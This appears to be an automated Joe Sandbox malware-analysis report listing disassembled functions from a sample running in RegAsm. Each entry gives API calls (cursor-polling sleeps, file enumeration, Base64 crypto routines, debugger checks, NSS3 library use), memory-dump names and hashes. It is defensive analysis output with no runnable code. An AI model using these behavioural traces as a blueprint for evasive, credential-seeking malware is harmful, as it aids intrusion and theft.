Function 0040180D Relevance: 12.1, APIs: 8, Instructions: 68sleepthreadCOMMON

Download Yara Rule

APIs

OpenInputDesktop.USER32(00000000,00000001,80000000), ref: 00401823
SetThreadDesktop.USER32(00000000), ref: 0040182A
GetCursorPos.USER32(?), ref: 0040183A
Sleep.KERNEL32(000003E8), ref: 0040184A
GetCursorPos.USER32(?), ref: 00401859
Sleep.KERNEL32(00002710), ref: 0040186B
Sleep.KERNEL32(000003E8), ref: 00401870
GetCursorPos.USER32(?), ref: 0040187F

Memory Dump Source

Source File: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2982048751.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: CursorSleep$Desktop$InputOpenThread
String ID:
API String ID: 3283940658-0
Opcode ID: f5ba76f92f65e2804661e56e76115090119226def0e33c1286c40128a66e7fa7
Instruction ID: 6ce610161f310883e20b46de56f80fe1d7998de54b5bc585690095a2dc5f2f67
Opcode Fuzzy Hash: f5ba76f92f65e2804661e56e76115090119226def0e33c1286c40128a66e7fa7
Instruction Fuzzy Hash: C9112E32E00209EBEB10EBA4CD89AAF77B9AF44301F644877D501B21A0D7789B41CB58

Function 0040B93F Relevance: 10.8, APIs: 5, Strings: 1, Instructions: 319fileCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,00417044,004366C7,?,?,?,?,00418558), ref: 0041050D

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417083,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 004105BD

FindFirstFileA.KERNEL32(?,?,\*.*,00436822,?,?,?), ref: 0040B99B
StrCmpCA.SHLWAPI(?,00437434), ref: 0040B9BC
StrCmpCA.SHLWAPI(?,00437438), ref: 0040B9D6

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004175B2,004366D6), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 00411C4A: GetSystemTime.KERNEL32(?,004366FB,?), ref: 00411C79

Part of subcall function 00407FAC: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,?,?,?,0040E756,?,?,?), ref: 00407FC7
Part of subcall function 00407FAC: GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,0040E756,?,?,?), ref: 00407FDE
Part of subcall function 00407FAC: LocalAlloc.KERNEL32(00000040,?,?,?,?,?,0040E756,?,?,?), ref: 00407FF5
Part of subcall function 00407FAC: ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,0040E756,?,?,?), ref: 0040800C
Part of subcall function 00407FAC: CloseHandle.KERNEL32(?,?,?,?,?,0040E756,?,?,?), ref: 00408034

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,004175EA), ref: 00410538

Part of subcall function 00416E60: CreateThread.KERNEL32(00000000,00000000,00416D8F,?,00000000,00000000), ref: 00416EFF
Part of subcall function 00416E60: WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 00416F07

FindNextFileA.KERNEL32(?,?), ref: 0040BEF1
FindClose.KERNEL32(?), ref: 0040BF05

Strings

\*.*, xrefs: 0040B965

Memory Dump Source

Source File: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2982048751.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$Find$CloseCreatelstrcat$AllocFirstHandleLocalNextObjectReadSingleSizeSystemThreadTimeWaitlstrlen
String ID: \*.*
API String ID: 2390431556-1173974218
Opcode ID: cd8b2a0ddbd517c70f82a5fe5107064f5335992a9f5a0190235867707611c04f
Instruction ID: 632beccabce27330dd527b396505f53262ada5228e5b83af6bdabada4b9d70bd
Opcode Fuzzy Hash: cd8b2a0ddbd517c70f82a5fe5107064f5335992a9f5a0190235867707611c04f
Instruction Fuzzy Hash: A9E1DA7194012D9BCF21FB22DD4AACDB375AF44309F4100E6A508B71A1DB79AFC98F98

Function 0042B09C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,2000000B,?,00000002,?,?,0042B705,?,004284B6,?,000000BC,?), ref: 0042B0DB
GetLocaleInfoW.KERNEL32(?,20001004,?,00000002,?,?,0042B705,?,004284B6,?,000000BC,?), ref: 0042B104
GetACP.KERNEL32(?,?,0042B705,?,004284B6,?,000000BC,?), ref: 0042B118

Strings

OCP, xrefs: 0042B0BC
ACP, xrefs: 0042B0AB

Memory Dump Source

Source File: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2982048751.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: 852fe2871502b5f11a7c159b1ff6d73bb5b6e90034cf0c4652042c6afb60c0e4
Instruction ID: 17b9699468f51d646e750113cf50c96e99997eab5389d59ce85d1515b93fe112
Opcode Fuzzy Hash: 852fe2871502b5f11a7c159b1ff6d73bb5b6e90034cf0c4652042c6afb60c0e4
Instruction Fuzzy Hash: DC01D431701626BBEB329B62BC56F9B33A8DB04358F60441AF511E11C1EFA8CA81D69C

Function 00411E5D Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 50memoryencryptionCOMMON

Download Yara Rule

APIs

CryptBinaryToStringA.CRYPT32(?,?,40000001,00000000,?,00000000,0065E908,?,?,?,0041286A,?,?,00000000), ref: 00411E7D
GetProcessHeap.KERNEL32(00000000,?,?,?,?,0041286A,?,?,00000000), ref: 00411E8A
HeapAlloc.KERNEL32(00000000,?,?,?,0041286A,?,?,00000000), ref: 00411E91

Strings

j(A, xrefs: 00411EAF

Memory Dump Source

Source File: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2982048751.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heap$AllocBinaryCryptProcessString
String ID: j(A
API String ID: 1871034439-3867625544
Opcode ID: 7facb7d2e02b845f17d999935560398eb304add6040a2be0650dedebad670ad1
Instruction ID: cc1f0cdc7ec9addca40c1236ae1a006933468a7893b1c2cc3d15f31d1535d567
Opcode Fuzzy Hash: 7facb7d2e02b845f17d999935560398eb304add6040a2be0650dedebad670ad1
Instruction Fuzzy Hash: 3F010C70500309BFDF158FA1DC849AB7BBAFF493A5B248459F90593220E7369E91EA24

Function 00408048 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 42encryptionmemoryCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32($g@,00000000,00000001,00000000,?,00000000,00000000), ref: 00408060
LocalAlloc.KERNEL32(00000040,?,?,?,00406724,?), ref: 0040806E
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,?,00000000,00000000), ref: 00408084
LocalFree.KERNEL32(?,?,?,00406724,?), ref: 00408093

Strings

$g@, xrefs: 00408056

Memory Dump Source

Source File: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2982048751.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: BinaryCryptLocalString$AllocFree
String ID: $g@
API String ID: 4291131564-2623900638
Opcode ID: f5a436fcc5773d8d5ed11b28535eb6837d4cdf9298db33a455cb593baf526e2b
Instruction ID: e9494377cad346e2cb6e0c3413faafdb083af89deffb74abb579b147fff80950
Opcode Fuzzy Hash: f5a436fcc5773d8d5ed11b28535eb6837d4cdf9298db33a455cb593baf526e2b
Instruction Fuzzy Hash: 7EF03C70101334BBDF315F26DC4CE8B7FA9EF06BA1F100456F949E6250E7724A40DAA1

Function 0041CFE0 Relevance: 7.6, APIs: 5, Instructions: 58COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 0041D418
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0041D42D
UnhandledExceptionFilter.KERNEL32(0043332C), ref: 0041D438
GetCurrentProcess.KERNEL32(C0000409), ref: 0041D454
TerminateProcess.KERNEL32(00000000), ref: 0041D45B

Memory Dump Source

Source File: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2982048751.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: 55db721a2f023524a9032981c1f56e9b99f3b02c219f8da3c75415065c8ed274
Instruction ID: dad7c004e912b8e68b798e0c0d0eaafc44eecc088f24250126c7cc8929bf560a
Opcode Fuzzy Hash: 55db721a2f023524a9032981c1f56e9b99f3b02c219f8da3c75415065c8ed274
Instruction Fuzzy Hash: 0A21CBB4C00705DFD764DFA8F988A443BB0BF08316F10916AE41887262EBB4D9828F5E

Function 6C37CDC0 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 423stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C37D086
PR_Malloc.NSS3(00000001), ref: 6C37D0B9
PR_Free.NSS3(?), ref: 6C37D138

Strings

>, xrefs: 6C37CF5B

Memory Dump Source

Source File: 00000003.00000002.3361584161.000000006C1E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1E0000, based on PE: true

Associated: 00000003.00000002.3359794827.000000006C1E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3372837629.000000006C37F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373086705.000000006C3BE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373112248.000000006C3BF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373138120.000000006C3C0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373163536.000000006C3C5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c1e0000_RegAsm.jbxd

Similarity

API ID: FreeMallocstrlen
String ID: >
API String ID: 1782319670-325317158
Opcode ID: 33f3c904727b78e6a3ccadd60312c31edcb67202b830285271c06c35c0548f6e
Instruction ID: 9f1853ec0cd1baba430f19d0f61717eab5a05b721cfddb95590964ddce960e63
Opcode Fuzzy Hash: 33f3c904727b78e6a3ccadd60312c31edcb67202b830285271c06c35c0548f6e
Instruction Fuzzy Hash: CED18E22B416460FFB34487C8CA13EA77978742378F580329D5219BBE5E61EC843CB79

Function 6C1B545C Relevance: 6.6, APIs: 5, Instructions: 305COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C1B8A4B

Memory Dump Source

Source File: 00000003.00000002.3347618666.000000006C141000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C140000, based on PE: true

Associated: 00000003.00000002.3345201274.000000006C140000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.3353640079.000000006C1BD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.3355882897.000000006C1CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.3358694329.000000006C1D2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c140000_RegAsm.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction ID: a0bc47c1aba3409bfebaacab82fc3f2244aab8196b3d4dc5fe34daaaa1f0d97f
Opcode Fuzzy Hash: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction Fuzzy Hash: D1B1E672E0121A8FDB14CF68CC907E9B7B2EF95314F1902A9C549EB791D730A986CF90

Function 6C1B542B Relevance: 6.5, APIs: 5, Instructions: 287COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C1B88F0
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C1B925C

Memory Dump Source

Source File: 00000003.00000002.3347618666.000000006C141000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C140000, based on PE: true

Associated: 00000003.00000002.3345201274.000000006C140000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.3353640079.000000006C1BD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.3355882897.000000006C1CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.3358694329.000000006C1D2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c140000_RegAsm.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction ID: 23fb37a72f968a0b8106ff3a77d5d565190a8d033fe7858f5649923d8ce009ff
Opcode Fuzzy Hash: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction Fuzzy Hash: 97B1C472E0420A8FDB14CF58C8917EDB7B2AF95314F1902A9C549EB785D734A98ACF90

Function 6C1FAC60 Relevance: 6.4, Strings: 5, Instructions: 181COMMON

Download Yara Rule

Strings

p7l, xrefs: 6C1FADA7
winUnlock, xrefs: 6C1FAE18
07l, xrefs: 6C1FACC0, 6C1FAD22, 6C1FAD5E, 6C1FAE45
P7l, xrefs: 6C1FADDB, 6C1FADF5, 6C1FAE6A
winUnlockReadLock, xrefs: 6C1FAE9F

Memory Dump Source

Source File: 00000003.00000002.3361584161.000000006C1E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1E0000, based on PE: true

Associated: 00000003.00000002.3359794827.000000006C1E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3372837629.000000006C37F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373086705.000000006C3BE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373112248.000000006C3BF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373138120.000000006C3C0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373163536.000000006C3C5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c1e0000_RegAsm.jbxd

Similarity

API ID:
String ID: 07l$P7l$p7l$winUnlock$winUnlockReadLock
API String ID: 0-2020488887
Opcode ID: ea8d895d9cffad03e4b3fa1e24e1f6289e8e5e01ab090efa01f39da20c48edd1
Instruction ID: 704f1d3d3e0729e6610c9076c8d10641c94ea96a4a9f2d1bfbbed829e08ec297
Opcode Fuzzy Hash: ea8d895d9cffad03e4b3fa1e24e1f6289e8e5e01ab090efa01f39da20c48edd1
Instruction Fuzzy Hash: 8B718B706083409FDB04CF28D890AAABBF9FF99314F14CA19F99997241D734A986CBD5

Function 6C31AD50 Relevance: 6.4, APIs: 4, Instructions: 389COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3361584161.000000006C1E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1E0000, based on PE: true

Associated: 00000003.00000002.3359794827.000000006C1E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3372837629.000000006C37F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373086705.000000006C3BE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373112248.000000006C3BF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373138120.000000006C3C0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373163536.000000006C3C5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c1e0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7300e719b01686c7a657409a7f65e36d899a9e98b2ac32ba7b13f339c6570680
Instruction ID: 486e5bb32da610d81aab89069cb81fd224eea4d6dc3acd7a412d8e57005ad74d
Opcode Fuzzy Hash: 7300e719b01686c7a657409a7f65e36d899a9e98b2ac32ba7b13f339c6570680
Instruction Fuzzy Hash: DBF1EDB5E092558FDB08CF2DC8403AD77F8AB9A309F194269C905DBB40EB74AA45CFD4

Function 6C2D0E20 Relevance: 6.3, APIs: 2, Strings: 2, Instructions: 279COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,00000000,00000000,00000000), ref: 6C2D1052
memset.VCRUNTIME140(-0000001C,?,?,00000000), ref: 6C2D1086

Strings

h(-l, xrefs: 6C2D0E55, 6C2D0EC4, 6C2D0F3A, 6C2D0FA7
h(-l, xrefs: 6C2D1062, 6C2D105D, 6C2D0F37, 6C2D1081, 6C2D1082

Memory Dump Source

Source File: 00000003.00000002.3361584161.000000006C1E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1E0000, based on PE: true

Associated: 00000003.00000002.3359794827.000000006C1E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3372837629.000000006C37F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373086705.000000006C3BE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373112248.000000006C3BF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373138120.000000006C3C0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373163536.000000006C3C5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c1e0000_RegAsm.jbxd

Similarity

API ID: memcpymemset
String ID: h(-l$h(-l
API String ID: 1297977491-1658777440
Opcode ID: 8e9f98def3ecad333e5b754208c64f1a8b1a91938bcb3dcf24daf11fb5e15d1a
Instruction ID: 4fcb03991e49e4d1174b5d929711ba83d09722ffb86174cb9ff092e7057427cb
Opcode Fuzzy Hash: 8e9f98def3ecad333e5b754208c64f1a8b1a91938bcb3dcf24daf11fb5e15d1a
Instruction Fuzzy Hash: F5A14D71B0125E9FCF08CF99C890AEEBBB6BF58314B158129E905A7710DB35ED41CBA0

Function 6C1F4DB0 Relevance: 5.3, Strings: 4, Instructions: 318COMMON

Download Yara Rule

Strings

p7l, xrefs: 6C1F4E1C, 6C1F4E81, 6C1F4FDE, 6C1F5047, 6C1F50BB, 6C1F51A3, 6C1F526C
07l, xrefs: 6C1F4EDE, 6C1F4F82
P7l, xrefs: 6C1F5019, 6C1F50FA, 6C1F5157, 6C1F51DE, 6C1F51F2, 6C1F520D, 6C1F5220, 6C1F52A2, 6C1F52B5
winUnlockReadLock, xrefs: 6C1F5125

Memory Dump Source

Source File: 00000003.00000002.3361584161.000000006C1E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1E0000, based on PE: true

Associated: 00000003.00000002.3359794827.000000006C1E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3372837629.000000006C37F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373086705.000000006C3BE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373112248.000000006C3BF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373138120.000000006C3C0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373163536.000000006C3C5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c1e0000_RegAsm.jbxd

Similarity

API ID:
String ID: 07l$P7l$p7l$winUnlockReadLock
API String ID: 0-1083658759
Opcode ID: 8b907711062440f0a5e6e4aad8f232d917d2bcde6db1333d48b046aa40657804
Instruction ID: 96f7e5fe13f6b4a752fd74a67c53fd252b73a57a8075489d1ceb410752223277
Opcode Fuzzy Hash: 8b907711062440f0a5e6e4aad8f232d917d2bcde6db1333d48b046aa40657804
Instruction Fuzzy Hash: 4EE14A70A18340CFDB04DF28D58465ABBF4FF9A308F118A5DE89997351E734E986CB86

Function 6C185C10 Relevance: 3.3, APIs: 1, Strings: 1, Instructions: 333COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,?,6C154A63,?,?), ref: 6C185F06

Strings

g/, xrefs: 6C185C19

Memory Dump Source

Source File: 00000003.00000002.3347618666.000000006C141000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C140000, based on PE: true

Associated: 00000003.00000002.3345201274.000000006C140000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.3353640079.000000006C1BD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.3355882897.000000006C1CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.3358694329.000000006C1D2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c140000_RegAsm.jbxd

Similarity

API ID: memcmp
String ID: g/
API String ID: 1475443563-2179982415
Opcode ID: 334ac14f6a81ef359e331e0a1f39afda793e0787f1b9243e4c236fa43454b17a
Instruction ID: bb457987a09ab7f33701a82ec312fc77714ca1cf20c6e333a7e148df007e244c
Opcode Fuzzy Hash: 334ac14f6a81ef359e331e0a1f39afda793e0787f1b9243e4c236fa43454b17a
Instruction Fuzzy Hash: 3CC1B175D066098BDB04CF95C5906EEBBF2FF8A318F28425DD8566BB44D732A805CF90

Function 6C28EE70 Relevance: 3.2, APIs: 2, Instructions: 223COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C28F019
PK11_GenerateRandom.NSS3(?,00000000), ref: 6C28F0F9

Memory Dump Source

Source File: 00000003.00000002.3361584161.000000006C1E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1E0000, based on PE: true

Associated: 00000003.00000002.3359794827.000000006C1E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3372837629.000000006C37F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373086705.000000006C3BE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373112248.000000006C3BF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373138120.000000006C3C0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373163536.000000006C3C5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

